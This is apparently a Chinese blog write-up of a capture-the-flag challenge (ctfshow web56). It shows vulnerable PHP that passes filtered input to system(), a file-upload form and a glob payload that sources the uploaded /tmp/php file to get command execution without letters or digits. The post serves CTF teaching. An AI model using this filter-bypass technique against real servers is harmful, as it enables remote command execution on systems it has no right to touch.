无字母数字rce(ctfshow web入门56)

我们根据这一题直接进入主题

//web56
<?php
// 你们在炫技吗?
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){system($c);}
}else{highlight_file(__FILE__);
}

过滤了字母,数字。

看了三位师傅的 wp才醒悟 y1ng P神 firebasky 再次感谢三位师傅

先说一下这一题的解题思路:

我们通过post一个文件(文件里面写入sh命令),在上传的过程中,通过.(点,也就是 source命令)去执行执行这个文件。一般来说我们上传的文件在linux下临时保存在/tmp/php??????一般后面的6个字符是随机生成的有大小写。(可以通过linux的匹配符去匹配)
**注意:通过.去执行sh命令不需要有执行权限**

好,接下来我已一个小白的角度分析题目所需的知识点。 首先是构造一个post文件上传,这里面也是很复杂的,参考 PHP 文件上传

下面就是我们构造的post文件上传数据包

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>POST数据包POC</title>
</head>
<body>
<form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接--><label for="file">文件名:</label><input type="file" name="file" id="file"><br><input type="submit" name="submit" value="提交">
</form>
</body>
</html>

然后直接抓包


接下来构造poc命令
?c=.+/???/????????[@-[]
用到Linux下的glob通配符:

  • *可以代替0个及以上任意字符
  • ?可以代表1个任意字符
    注:后面的[@-[]是linux下面的匹配符,是进行匹配的大写字母。

介绍一下bin目录:

bin为binary的简写主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等,也就是一些系统命令都在bin 目录下

在这里再解释一下为什么加上#! #!的意思是调用 /bin/sh 命令所以需要加

成功遍历当前目录文件

直接cat 得到flag

补充

1.playload:?c=.+/???/???[@-[] 因为 .命令 (也就是source命令)执行需要用空格 我们用 + 绕过(也就是%20)。

2.文件上传的时候 #!/bin/sh 加上 #!的意思是调用bin/sh的命令

3.我们的poc的? 的数量只有11个,因为最后一个匹配为大写,用[@-[] 代替了,不需要在它的后面再加上?了

无字母数字rce(ctfshow web入门56)相关推荐

  1. Ctfshow web入门 PHP特性篇 web89-web151 全

    web入门 PHP特性篇的wp都一把梭哈在这里啦~ 有点多,师傅们可以收藏下来慢慢看,写的应该挺全面的叭- 有错误敬请斧正! CTFshow PHP web89 看题目,有个flag.php文件.题目 ...

  2. ctfshow web入门 PHP特性后篇(web133-web150)

    目录 web133 web134 web135 web136 web137 web138 web139 web140 web141 web142 wen143 web144 web145-web150 ...

  3. 代码执行漏洞-无字母数字RCE-create_function()

    代码执行漏洞 eval()函数 <?php eval($_POST[0]);?> eval会把接收到的字符串当作PHP代码来执行(一句话木马) 利用这个可以连接蚁剑,而连接密码就是中括号中 ...

  4. ctfshow web入门 命令执行:55-57

    刷题记录. 目录 web55 web56 web57 web55 关键源码: // 你们在炫技吗? if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match ...

  5. [ctfshow web入门]常用姿势801-806

    1NDEX 0x00 前言 801 flask pin码计算 谨记!!python 3.8和3.6 pin码生成方式不同 werkzeug版本不同machine-id获取不同 python3.8 pi ...

  6. ctfshow web入门 命令执行 web29~web77 web118~web124

    目录 web29 web30 web31 web32 web33 web34 web35 web36 web37 web38 web39 web40 web41 web42 web43 web44 w ...

  7. CTFSHOW WEB入门

    ----------信息搜集---------- 源码泄露 查看源码即可 前台JS绕过 直接开发者工具查看源码 当然也可以抓包查看 也可以禁用js查看源码 协议头信息泄露 或者抓一下包也可 robot ...

  8. ctfshow web入门-sql注入

    ctfshow web入门-sql注入 web171 web172 web173 web174 web175 web176 web177 web178 web179 web180 web181 web ...

  9. ctfshow web入门 php特性

    文章目录 web89 web90 web91 web92 姿势一 姿势二 姿势三 web93 web94 web95 web96 姿势一 姿势二 web97 web98 web99 web100 姿势 ...

最新文章

  1. url参数解析 url解析 ?解析成对象
  2. Android Binder 学习笔记
  3. JavaScript原型学习
  4. pct_change()
  5. linux ps 只显示端口,这30个Linux系统监控工具,每个系统管理员都应该知道
  6. 企业批量部署RealVNC远程控制软件
  7. 阿里安全猎户座实验室(Alibaba Orion Security Lab)简介
  8. pandas获取某行数据
  9. IBM与广东中医院 携手共建智慧医疗
  10. 小课堂week17 编程范式巡礼第二季 并发那些事
  11. 安卓Android百度输入法皮肤-疯狂码字的快乐-《Write 2022升级版》
  12. 计算一阶导数的四阶中心差分格式
  13. SCI投稿:MDPI旗下期刊Mathematics投稿经历
  14. C语言:变量存储类别
  15. 我对技术的态度是什么样的?
  16. 充分利用公网 -- 将联通光猫设置为桥接
  17. 我的世界java版无效会话_我的世界局域网联机显示无效的会话和搜不到主机
  18. 2019年IT行业就业形势
  19. flutter Container设置渐变色
  20. 致远SPM之接待管理解决方案

热门文章

  1. 远翔FP5217 替代 德州仪器TI TPS61178
  2. 诗经 - 小雅 - 车攻
  3. python简短有用的代码集锦
  4. 为什么在线个人品牌对企业家至关重要
  5. 编写一个 Java 应用程序,该程序中有 3 个类:Triangle、T rapezium 和 Circle,分别用来 表示三角形、梯形和圆形。
  6. 格网中A点(左上角)到B点(右下角)路径数量算法
  7. 第十七篇,文件偏移量lseek函数,系统IO应用实例(LCD应用)和内存映射详细讲解。
  8. 京东科技股权曝光:京东持股41.7% 刘强东有52%投票权
  9. 想不想修真获取服务器配置文件,想不想修真神界刷资源要什么条件?神界刷资源收益与属性要求配置[多图]...
  10. 欢庆“腊八节” 美国纽约华埠居民掀“聚餐热”